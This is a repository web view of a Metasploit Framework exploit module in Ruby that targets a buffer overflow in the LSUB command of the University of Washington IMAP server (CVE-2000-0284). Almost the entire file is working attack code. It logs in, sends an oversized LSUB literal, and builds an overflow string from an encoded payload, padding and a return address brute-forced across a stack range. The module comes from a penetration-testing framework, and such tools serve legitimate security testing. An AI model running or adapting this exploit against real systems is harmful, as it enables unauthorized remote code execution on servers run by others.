Statistics
| Branch: | Tag: | Revision:

root / modules / exploits / linux / imap / imap_uw_lsub.rb @ master

History | View | Annotate | Download (2.2 kB)

1
##
2
# $Id$
3
##
4

    
5
##
6
# This file is part of the Metasploit Framework and may be subject to
7
# redistribution and commercial restrictions. Please see the Metasploit
8
# Framework web site for more information on licensing and terms of use.
9
# http://metasploit.com/framework/
10
##
11

    
12
require 'msf/core'
13

    
14
class Metasploit3 < Msf::Exploit::Remote
15
        Rank = GoodRanking
16

    
17
        include Msf::Exploit::Brute
18
        include Msf::Exploit::Remote::Imap
19

    
20
        def initialize(info = {})
21
                super(update_info(info,
22
                        'Name'           => 'UoW IMAP server LSUB Buffer Overflow',
23
                        'Description'    => %q{
24
                                        This module exploits a buffer overflow in the 'LSUB'
25
                                command of the University of Washington IMAP service.
26
                                This vulnerability can only be exploited with a valid username
27
                                and password.
28
                        },
29
                        'Author'         => [ 'patrick', 'jduck' ],
30
                        'License'        => MSF_LICENSE,
31
                        'Version'        => '$Revision$',
32
                        'References'     =>
33
                                [
34
                                        [ 'CVE', '2000-0284' ],
35
                                        [ 'OSVDB', '12037' ],
36
                                        [ 'BID', '1110' ],
37
                                        [ 'URL', 'http://www.milw0rm.com/exploits/284' ],
38
                                ],
39
                        'Privileged'     => false,
40
                        'Payload'        =>
41
                                {
42
                                        'Space'    => 964,
43
                                        'BadChars' => "\x00\x0a\x0d\x2f",
44
                                        'StackAdjustment' => -3500,
45
                                },
46
                        'Platform'       => 'linux',
47
                        'Targets'        =>
48
                                [
49
                                        # ['RedHat 6.2 - IMAP4rev1 v12.264', { 'Ret' => 0xbffff310 }],
50
                                        [ 'Linux Bruteforce',
51
                                                {
52
                                                        'Platform'   => 'linux',
53
                                                        'Offset'     => 1064,
54
                                                        'Bruteforce' =>
55
                                                                {
56
                                                                        'Start' => { 'Ret' => 0xbffffdfc },
57
                                                                        'Stop'  => { 'Ret' => 0xbfa00000 },
58
                                                                        'Step'  => 200
59
                                                                }
60
                                                },
61
                                        ]
62
                                ],
63
                        'DisclosureDate' => 'Apr 16 2000',
64
                        'DefaultTarget' => 0))
65
        end
66

    
67
        def check
68
                connect
69
                disconnect
70

    
71
                if (banner =~ /IMAP4rev1 v12.264/)
72
                        return Exploit::CheckCode::Vulnerable
73
                end
74
                return Exploit::CheckCode::Safe
75

    
76
        end
77

    
78
        def brute_exploit(addresses)
79
                print_status("Trying 0x%.8x ..." % addresses['Ret'])
80

    
81
                if (not connect_login)
82
                        raise RuntimeError, "Unable to log in!"
83
                end
84

    
85
                req = "a002 LSUB \"\" {%d}\r\n" % target['Offset']
86
                sock.put(req)
87
                buf = sock.get_once
88

    
89
                sploit = payload.encoded + rand_text_alphanumeric(64) + [addresses['Ret']].pack('V') + rand_text_alphanumeric(32) + "\r\n"
90
                sock.put(sploit)
91

    
92
                handler
93
                disconnect
94
        end
95

    
96
end